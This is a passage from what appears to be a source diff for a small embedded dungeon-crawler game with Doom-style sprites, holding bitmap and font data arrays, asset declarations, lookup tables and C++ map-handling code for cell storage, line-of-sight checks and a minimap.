0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,0x80,0x80,0x80,0x80,0x80,0x40,0xc0,
0x80,0xc0,0x40,0xc0,0xa0,0xe0,0x50,0xf8,0xaa,0xfe,0x55,0xff,0xaa,0xff,0x55,0xff,0xaa,0xff,0x55,0xff,0xaa,0xff,0x55,0xff,
0xaa,0xff,0x55,0xff,0xaa,0xfe,0x50,0xf8,0xa0,0xe0,0x40,0xc0,0x80,0x80,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,
0xa8,0xf8,0x54,0xfe,0xaa,0xfe,0x55,0xff,0xff,0xff,0xfd,0xff,0xff,0xff,0x1d,0xff,0x8a,0xff,0x55,0xff,0xaa,0xff,0xd5,0xff,
0x88,0xff,0x88,0xff,0x88,0xff,0x80,0xff,0x80,0xff,0x80,0xff,0x80,0xff,0x0,0xff,0x80,0xff,0x80,0xff,0x80,0xff,0x80,0xff,
0x88,0xff,0x88,0xff,0x88,0xff,0xd5,0xff,0xaa,0xff,0x51,0xff,0x82,0xff,0x14,0xfe,0xa8,0xf8,0x0,0x80,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x28,0x38,0x15,0x3f,0x2a,0x3f,0x1d,0x3f,
0x2a,0x3f,0x17,0x3f,0xb,0x3f,0x1,0x3f,0x8,0x3f,0x5,0x3f,0x0,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x1,0x3f,0x1,0x3f,
0x3,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x0,0x3f,0x1,0x3f,0x3,0x3f,0x1,0x3f,
0x1,0x3f,0x1,0x3f,0x1,0x3f,0x1,0x3f,0x0,0x3f,0x5,0x3f,0x0,0x3f,0x5,0x3f,0xa,0x3f,0x14,0x3e,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0
};
extern const uint8_t titleBitmapData[] PROGMEM =
{
0x80,0x40,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xf,0xf,0xf,0xf,0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,
0x0,0x0,0x0,0x0,0xf,0xf,0xf,0xf,0xff,0xff,0xff,0xff,0xf,0xf,0xf,0xf,0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,
0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0x0,0x0,0x0,0x0,0xf,0xf,0xf,0xf,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0xf,0xf,0xf,0xf,0xff,0xff,0xff,0xff,0xf,0xf,0xf,0xf,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xf0,0xf0,0xf0,0xf0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0xff,0xff,0xff,0xff,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,0x0,0x0,0x0,0x0,0xf0,0xf0,0xf0,0xf0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xaf,0x5f,0xaf,0x5f,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,
0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,
0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xa0,0x50,0xff,0xff,0xff,0xff,0xaa,0x55,0xaa,0x55,
0xaa,0x55,0xaa,0x55,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xfa,0xf5,0xfa,0xf5,0xaa,0x55,0xaa,0x55,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,
0xaa,0x55,0xaa,0x55,0xfa,0xf5,0xfa,0xf5,0xff,0xff,0xff,0xff,0xfa,0xf5,0xfa,0xf5,0xaa,0x55,0xaa,0x55,0xaf,0x5f,0xaf,0x5f,
0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaf,0x5f,0xaa,0x55,0xaa,0x55,0xfa,0xf5,0xfa,0xf5,0xff,0xff,0xff,0xff,0xaa,0x55,0xaa,0x55,
0xaa,0x55,0xaa,0x55,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
};
extern const uint8_t heartSpriteData[] PROGMEM =
{
0x1c,0x14,0x77,0x41,0x77,0x14,0x1c,0x0
};
extern const uint8_t manaSpriteData[] PROGMEM =
{
0x7e,0x7f,0x7e,0x0,0x7f,0x7e,0x7e,0x0
};
@@ -0,0 +1,24 @@
// Engine assets kept from FlipperCatacombs (non-Doom): gates, wall texture, font
// Generated from Images/entrance.png
constexpr uint8_t entranceSpriteData_numFrames = 1;
extern const uint16_t entranceSpriteData[] PROGMEM =
{
0x4,0x0,0xe,0x0,0xe,0x0,0x1f,0x0,0x3ff,0x3fc,0x9f,0x90,0x9f,0x90,0x9f,0x90,0x9f,0x90,0x9f,0x90,0x9f,0x90,0x3ff,0x3fc,0x1f,0x0,0xe,0x0,0xe,0x0,0x4,0x0
};
// Generated from Images/exit.png
constexpr uint8_t exitSpriteData_numFrames = 1;
extern const uint16_t exitSpriteData[] PROGMEM =
{
0x2000,0x0,0x7000,0x0,0x7000,0x0,0xf800,0x0,0xffc0,0x3fc0,0xf900,0x900,0xf900,0x900,0xf900,0x900,0xf900,0x900,0xf900,0x900,0xf900,0x900,0xffc0,0x3fc0,0xf800,0x0,0x7000,0x0,0x7000,0x0,0x2000,0x0
};
// Generated from Images/textures.png
constexpr uint8_t wallTextureData_numTextures = 1;
extern const uint16_t wallTextureData[] PROGMEM =
{
0xf3cf,0xf3cf,0xf3cf,0xf3c0,0xf3c0,0xf3cf,0x3cf,0x3cf,0xf3cf,0xf3cf,0xf00f,0xf00f,0xf3cf,0xf3cf,0xf3cf,0xf3cf
};
// Generated from Images/font.png
extern const uint8_t fontPageData[] PROGMEM =
{
0xff,0xff,0xff,0xff,0xff,0xd1,0xff,0xff,0xf9,0xff,0xf9,0xff,0xc1,0xeb,0xc1,0xff,0xd3,0xc1,0xe5,0xff,0xcd,0xf7,0xd9,0xff,0xcb,0xd5,0xeb,0xff,0xff,0xf9,0xff,0xff,0xff,0xe3,0xdd,0xff,0xff,0xdd,0xe3,0xff,0xeb,0xf7,0xeb,0xff,0xf7,0xe3,0xf7,0xff,0xdf,0xef,0xff,0xff,0xf7,0xf7,0xf7,0xff,0xff,0xdf,0xff,0xff,0xcf,0xf7,0xf9,0xff,0xc3,0xdd,0xe1,0xff,0xdb,0xc1,0xdf,0xff,0xcd,0xd5,0xd3,0xff,0xdd,0xd5,0xeb,0xff,0xe1,0xef,0xc7,0xff,0xd1,0xd5,0xe5,0xff,0xc3,0xd5,0xe5,0xff,0xcd,0xf5,0xf9,0xff,0xc3,0xd5,0xe1,0xff,0xd3,0xd5,0xe1,0xff,0xff,0xeb,0xff,0xff,0xdf,0xeb,0xff,0xff,0xf7,0xeb,0xdd,0xff,0xeb,0xeb,0xeb,0xff,0xdd,0xeb,0xf7,0xff,0xfd,0xd5,0xf9,0xff,0xe3,0xdd,0xd3,0xff,0xc3,0xf5,0xc1,0xff,0xc3,0xd5,0xe9,0xff,0xe3,0xdd,0xdd,0xff,0xc1,0xdd,0xe3,0xff,0xc3,0xd5,0xd5,0xff,0xc3,0xf5,0xf5,0xff,0xe3,0xdd,0xc5,0xff,0xc1,0xf7,0xc1,0xff,0xdd,0xc1,0xdd,0xff,0xef,0xdd,0xe1,0xff,0xc1,0xf7,0xc9,0xff,0xc1,0xdf,0xdf,0xff,0xc1,0xfb,0xc1,0xff,0xc1,0xfd,0xc3,0xff,0xe3,0xdd,0xe3,0xff,0xc1,0xf5,0xf3,0xff,0xe3,0xcd,0xc1,0xff,0xc3,0xf5,0xc9,0xff,0xdb,0xd5,0xed,0xff,0xfd,0xc1,0xfd,0xff,0xe1,0xdf,0xc1,0xff,0xe1,0xdf,0xe1,0xff,0xc1,0xef,0xc1,0xff,0xc9,0xf7,0xc9,0xff,0xf9,0xc7,0xf9,0xff,0xcd,0xd5,0xd9,0xff,0xff,0xc1,0xdd,0xff,0xf9,0xf7,0xcf,0xff,0xff,0xdd,0xc1,0xff,0xfb,0xfd,0xfb,0xff,0xdf,0xdf,0xdf,0xff,0xff,0xfd,0xfb,0xff,0xe7,0xdb,0xc3,0xff,0xc1,0xdb,0xe7,0xff,0xe7,0xdb,0xdb,0xff,0xe7,0xdb,0xc1,0xff,0xe7,0xcb,0xd3,0xff,0xc3,0xed,0xfb,0xff,0xb7,0xab,0xc7,0xff,0xc1,0xf7,0xcf,0xff,0xff,0xe5,0xdf,0xff,0xbf,0xcb,0xff,0xff,0xc1,0xf7,0xcb,0xff,0xff,0xe1,0xdf,0xff,0xc3,0xf7,0xc3,0xff,0xc3,0xfb,0xc7,0xff,0xe7,0xdb,0xe7,0xff,0x83,0xdb,0xe7,0xff,0xe7,0xdb,0x83,0xff,0xc3,0xf7,0xfb,0xff,0xd7,0xd3,0xeb,0xff,0xe1,0xdb,0xdf,0xff,0xe3,0xdf,0xc3,0xff,0xc3,0xdf,0xe3,0xff,0xc3,0xef,0xc3,0xff,0xcb,0xf7,0xcb,0xff,0xf3,0xaf,0xc3,0xff,0xdb,0xcb,0xd3,0xff,0xf7,0xc1,0xdd,0xff,0xff,0xc1,0xff,0xff,0xdd,0xc1,0xf7,0xff,0xfb,0xfd,0xfb,0xff,0xe3,0xed,0xe3,0xff
};
@@ -0,0 +1,48 @@
// Declarations for assets generated by tools/extract_doom_assets.py
// (converted at build time from the user's local Doom shareware WAD)
constexpr uint8_t skeletonSpriteData_numFrames = 2;
extern const uint16_t skeletonSpriteData[]; // demon
constexpr uint8_t mageSpriteData_numFrames = 2;
extern const uint16_t mageSpriteData[]; // imp
constexpr uint8_t torchSpriteData1_numFrames = 1;
extern const uint16_t torchSpriteData1[];
constexpr uint8_t torchSpriteData2_numFrames = 1;
extern const uint16_t torchSpriteData2[];
constexpr uint8_t projectileSpriteData_numFrames = 1;
extern const uint16_t projectileSpriteData[];
constexpr uint8_t enemyProjectileSpriteData_numFrames = 1;
extern const uint16_t enemyProjectileSpriteData[];
constexpr uint8_t entranceSpriteData_numFrames = 1;
extern const uint16_t entranceSpriteData[];
constexpr uint8_t exitSpriteData_numFrames = 1;
extern const uint16_t exitSpriteData[];
constexpr uint8_t urnSpriteData_numFrames = 1;
extern const uint16_t urnSpriteData[]; // barrel
constexpr uint8_t signSpriteData_numFrames = 1;
extern const uint16_t signSpriteData[]; // skull pile
constexpr uint8_t crownSpriteData_numFrames = 1;
extern const uint16_t crownSpriteData[]; // armor
constexpr uint8_t coinsSpriteData_numFrames = 1;
extern const uint16_t coinsSpriteData[]; // health bonus
constexpr uint8_t scrollSpriteData_numFrames = 1;
extern const uint16_t scrollSpriteData[]; // armor bonus
constexpr uint8_t chestSpriteData_numFrames = 1;
extern const uint16_t chestSpriteData[]; // backpack
constexpr uint8_t chestOpenSpriteData_numFrames = 1;
extern const uint16_t chestOpenSpriteData[]; // clip
constexpr uint8_t potionSpriteData_numFrames = 1;
extern const uint16_t potionSpriteData[]; // stimpack
constexpr uint8_t batSpriteData_numFrames = 2;
extern const uint16_t batSpriteData[]; // sergeant
constexpr uint8_t spiderSpriteData_numFrames = 2;
extern const uint16_t spiderSpriteData[]; // zombieman
// First-person weapon (shotgun idle / firing)
extern const uint8_t handSpriteData1[];
extern const uint8_t handSpriteData2[];
// Title screen (128x64, Platform::DrawSolidBitmap format)
extern const uint8_t titleBitmapData[];
constexpr uint8_t wallTextureData_numTextures = 1;
extern const uint16_t wallTextureData[];
extern const uint8_t fontPageData[];
extern const uint8_t heartSpriteData[];
extern const uint8_t manaSpriteData[];
@@ -0,0 +1,8 @@
const uint8_t scaleLUT[] PROGMEM = {
15,0,8,15,0,4,8,12,15,0,2,5,8,10,13,15,0,2,4,6,8,10,12,14,15,0,1,3,4,6,8,9,11,12,14,15,0,1,2,4,5,6,8,9,10,12,13,14,15,0,1,2,3,4,5,6,8,9,10,11,12,13,14,15,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,15,0,0,1,2,3,4,5,6,7,8,8,9,10,11,12,13,14,15,15,0,0,1,2,3,4,4,5,6,7,8,8,9,10,11,12,12,13,14,15,15,0,0,1,2,2,3,4,5,5,6,7,8,8,9,10,10,11,12,13,13,14,15,15,0,0,1,2,2,3,4,4,5,6,6,7,8,8,9,10,10,11,12,12,13,14,14,15,15,0,0,1,1,2,3,3,4,4,5,6,6,7,8,8,9,9,10,11,11,12,12,13,14,14,15,15,0,0,1,1,2,2,3,4,4,5,5,6,6,7,8,8,9,9,10,10,11,12,12,13,13,14,14,15,15,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,8,8,9,9,10,10,11,11,12,12,13,13,14,14,15,15,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13,14,14,15,15,15
};
const int16_t sinTable[] PROGMEM = {
0,6,12,18,25,31,37,43,49,56,62,68,74,80,86,92,97,103,109,115,120,126,131,136,142,147,152,157,162,167,171,176,181,185,189,193,197,201,205,209,212,216,219,222,225,228,231,234,236,238,241,243,244,246,248,249,251,252,253,254,254,255,255,255,255,255,255,255,254,254,253,252,251,249,248,246,244,243,241,238,236,234,231,228,225,222,219,216,212,209,205,201,197,193,189,185,181,176,171,167,162,157,152,147,142,136,131,126,120,115,109,103,97,92,86,80,74,68,62,56,49,43,37,31,25,18,12,6,0,-6,-12,-18,-25,-31,-37,-43,-49,-56,-62,-68,-74,-80,-86,-92,-97,-103,-109,-115,-120,-126,-131,-136,-142,-147,-152,-157,-162,-167,-171,-176,-181,-185,-189,-193,-197,-201,-205,-209,-212,-216,-219,-222,-225,-228,-231,-234,-236,-238,-241,-243,-244,-246,-248,-249,-251,-252,-253,-254,-254,-255,-255,-255,-255,-255,-255,-255,-254,-254,-253,-252,-251,-249,-248,-246,-244,-243,-241,-238,-236,-234,-231,-228,-225,-222,-219,-216,-212,-209,-205,-201,-197,-193,-189,-185,-181,-176,-171,-167,-162,-157,-152,-147,-142,-136,-131,-126,-120,-115,-109,-103,-97,-92,-86,-80,-74,-68,-62,-56,-49,-43,-37,-31,-25,-18,-12,-6
};
@@ -0,0 +1,254 @@
#include "game/Defines.h"
#include "game/Map.h"
#include "game/Game.h"
#include "game/FixedMath.h"
#include "game/Draw.h"
#include "game/Platform.h"
#include "game/Enemy.h"
uint8_t Map::level[Map::width * Map::height / 2];
bool Map::IsBlocked(uint8_t x, uint8_t y)
{
return GetCellSafe(x, y) >= CellType::FirstCollidableCell;
}
bool Map::IsSolid(uint8_t x, uint8_t y)
{
return GetCellSafe(x, y) >= CellType::FirstSolidCell;
}
CellType Map::GetCell(uint8_t x, uint8_t y)
{
int index = y * Map::width + x;
uint8_t cellData = level[index / 2];
if(index & 1)
{
return (CellType)(cellData >> 4);
}
else
{
return (CellType)(cellData & 0xf);
}
}
CellType Map::GetCellSafe(uint8_t x, uint8_t y)
{
if(x >= Map::width || y >= Map::height)
return CellType::BrickWall;
int index = y * Map::width + x;
uint8_t cellData = level[index / 2];
if(index & 1)
{
return (CellType)(cellData >> 4);
}
else
{
return (CellType)(cellData & 0xf);
}
}
void Map::SetCell(uint8_t x, uint8_t y, CellType type)
{
if (x >= Map::width || y >= Map::height)
{
return;
}
int index = (y * Map::width + x) / 2;
uint8_t cellType = (uint8_t)type;
if(x & 1)
{
level[index] = (level[index] & 0xf) | (cellType << 4);
}
else
{
level[index] = (level[index] & 0xf0) | (cellType & 0xf);
}
}
void Map::DebugDraw()
{
for(int y = 0; y < Map::height; y++)
{
for(int x = 0; x < Map::width; x++)
{
Platform::PutPixel(x, y, GetCell(x, y) == CellType::BrickWall ? 1 : 0);
if (x == Renderer::camera.cellX && y == Renderer::camera.cellY && (Game::globalTickFrame & 8) != 0)
{
Platform::PutPixel(x, y, 1);
}
}
}
if ((Game::globalTickFrame & 2) != 0)
{
for (uint8_t n = 0; n < EnemyManager::maxEnemies; n++)
{
Enemy& enemy = EnemyManager::enemies[n];
if (enemy.IsValid())
{
Platform::PutPixel(enemy.x / CELL_SIZE, enemy.y / CELL_SIZE, 1);
}
}
}
}
bool Map::IsClearLine(int16_t x1, int16_t y1, int16_t x2, int16_t y2)
{
int cellX1 = x1 / CELL_SIZE;
int cellX2 = x2 / CELL_SIZE;
int cellY1 = y1 / CELL_SIZE;
int cellY2 = y2 / CELL_SIZE;
int xdist = ABS(cellX2 - cellX1);
int partial, delta;
int deltafrac;
int xfrac, yfrac;
int xstep, ystep;
int32_t ltemp;
int x, y;
if (xdist > 0)
{
if (cellX2 > cellX1)
{
partial = (CELL_SIZE * (cellX1 + 1) - x1);
xstep = 1;
}
else
{
partial = (x1 - CELL_SIZE * (cellX1));
xstep = -1;
}
deltafrac = ABS(x2 - x1);
delta = y2 - y1;
ltemp = ((int32_t)delta * CELL_SIZE) / deltafrac;
if (ltemp > 0x7fffl)
ystep = 0x7fff;
else if (ltemp < -0x7fffl)
ystep = -0x7fff;
else
ystep = ltemp;
yfrac = y1 + (((int32_t)ystep*partial) / CELL_SIZE);
x = cellX1 + xstep;
cellX2 += xstep;
do
{
y = (yfrac) / CELL_SIZE;
yfrac += ystep;
if (IsSolid(x, y))
return false;
x += xstep;
//
// see if the door is open enough
//
/*value &= ~0x80;
intercept = yfrac-ystep/2;
if (intercept>doorposition[value])
return false;*/
} while (x != cellX2);
}
int ydist = ABS(cellY2 - cellY1);
if (ydist > 0)
{
if (cellY2 > cellY1)
{
partial = (CELL_SIZE * (cellY1 + 1) - y1);
ystep = 1;
}
else
{
partial = (y1 - CELL_SIZE * (cellY1));
ystep = -1;
}
deltafrac = ABS(y2 - y1);
delta = x2 - x1;
ltemp = ((int32_t)delta * CELL_SIZE)/deltafrac;
if (ltemp > 0x7fffl)
xstep = 0x7fff;
else if (ltemp < -0x7fffl)
xstep = -0x7fff;
else
xstep = ltemp;
xfrac = x1 + (((int32_t)xstep*partial) / CELL_SIZE);
y = cellY1 + ystep;
cellY2 += ystep;
do
{
x = (xfrac) / CELL_SIZE;
xfrac += xstep;
if (IsSolid(x, y))
return false;
y += ystep;
//
// see if the door is open enough
//
/*value &= ~0x80;
intercept = xfrac-xstep/2;
if (intercept>doorposition[value])
return false;*/
} while (y != cellY2);
}
return true;
}
void Map::DrawMinimap()
{
constexpr uint8_t minimapWidth = 24;
constexpr uint8_t minimapHeight = 18;
constexpr uint8_t minimapX = 0; //DISPLAY_WIDTH / 2 - minimapWidth / 2;
constexpr uint8_t minimapY = 0; //DISPLAY_HEIGHT - minimapHeight;
uint8_t playerCellX = Game::player.x / CELL_SIZE;
uint8_t playerCellY = Game::player.y / CELL_SIZE;
uint8_t startCellX = playerCellX - minimapWidth / 2;
uint8_t startCellY = playerCellY - minimapHeight / 2;
uint8_t outX = minimapX;
uint8_t cellX = startCellX;
for (uint8_t x = 0; x < minimapWidth; x++)
{
uint8_t outY = minimapY;
uint8_t cellY = startCellY;
for (uint8_t y = 0; y < minimapHeight; y++)
{
if (cellX == playerCellX && cellY == playerCellY)
{
Platform::PutPixel(outX, outY, (Game::globalTickFrame & 3) ? COLOUR_BLACK : COLOUR_WHITE);
}
else
{
Platform::PutPixel(outX, outY, cellX < width && cellY < height && IsSolid(cellX, cellY) ? COLOUR_BLACK : COLOUR_WHITE);
}
outY++;
cellY++;
}
outX++;
cellX++;
}
}
@@ -0,0 +1,60 @@
#pragma once
#include <stdint.h>
enum class CellType : uint8_t
{
Empty = 0,
// Monster types
Monster,
// Non collidable decorations
Torch,
Entrance,
Exit,
// Items
Potion,
Coins,
Crown,
Scroll,
// Collidable decorations
Urn,
Chest,
ChestOpened,
Sign,
// Solid cells
BrickWall,
FirstCollidableCell = Urn,
FirstSolidCell = BrickWall
};
class Map
{
public:
static constexpr int width = 32;
static constexpr int height = 24;
static bool IsSolid(uint8_t x, uint8_t y);
static bool IsBlocked(uint8_t x, uint8_t y);
static inline bool IsBlockedAtWorldPosition(int16_t x, int16_t y)
{
return IsBlocked((uint8_t)(x >> 8), (uint8_t)(y >> 8));
}
static CellType GetCell(uint8_t x, uint8_t y);
static CellType GetCellSafe(uint8_t x, uint8_t y);
static void SetCell(uint8_t x, uint8_t y, CellType cellType);
static void DebugDraw();
static void DrawMinimap();
static bool IsClearLine(int16_t x1, int16_t y1, int16_t x2, int16_t y2);
private:
static uint8_t level[width * height / 2];
};
@@ -0,0 +1,610 @@
#include "game/MapGenerator.h"
#include "game/Map.h"
#include "game/FixedMath.h"
#include "game/Enemy.h"
#include "game/Game.h"
uint8_t MapGenerator::GetDistanceToCellType(uint8_t x, uint8_t y, CellType cellType)
{
uint8_t ringWidth = 3;
for (uint8_t offset = 1; offset < Map::width; offset++)
{
for (uint8_t i = 0; i < ringWidth; i++)
{
if (Map::GetCellSafe(x - offset + i, y - offset) == cellType)
{
return offset;
}
if (Map::GetCellSafe(x - offset + i, y + offset) == cellType)
{
return offset;
}
if (Map::GetCellSafe(x - offset, y - offset + i) == cellType)
{
return offset;
}
if (Map::GetCellSafe(x + offset, y - offset + i) == cellType)
{
return offset;
}
}
ringWidth += 2;
}
return 0xff;
}
uint8_t MapGenerator::CountNeighbours(uint8_t x, uint8_t y)
{
uint8_t result = 0;
if (Map::GetCellSafe(x + 1, y) == CellType::Empty)
result++;
if (Map::GetCellSafe(x, y + 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x - 1, y) == CellType::Empty)
result++;
if (Map::GetCellSafe(x, y - 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x + 1, y + 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x - 1, y + 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x - 1, y - 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x + 1, y - 1) == CellType::Empty)
result++;
return result;
}
MapGenerator::NeighbourInfo MapGenerator::GetCellNeighbourInfo(uint8_t x, uint8_t y)
{
NeighbourInfo result;
result.count = 0;
result.mask = 0;
if (Map::IsSolid(x, y - 1))
{
result.hasNorth = true;
result.count++;
}
if (Map::IsSolid(x + 1, y))
{
result.hasEast = true;
result.count++;
}
if (Map::IsSolid(x, y + 1))
{
result.hasSouth = true;
result.count++;
}
if (Map::IsSolid(x - 1, y))
{
result.hasWest = true;
result.count++;
}
return result;
}
uint8_t MapGenerator::CountImmediateNeighbours(uint8_t x, uint8_t y)
{
uint8_t result = 0;
if (Map::GetCellSafe(x + 1, y) == CellType::Empty)
result++;
if (Map::GetCellSafe(x, y + 1) == CellType::Empty)
result++;
if (Map::GetCellSafe(x - 1, y) == CellType::Empty)
result++;
if (Map::GetCellSafe(x, y - 1) == CellType::Empty)
result++;
return result;
}
MapGenerator::NeighbourInfo MapGenerator::GetRoomNeighbourMask(uint8_t x, uint8_t y, uint8_t w, uint8_t h)
{
NeighbourInfo result;
result.mask = 0;
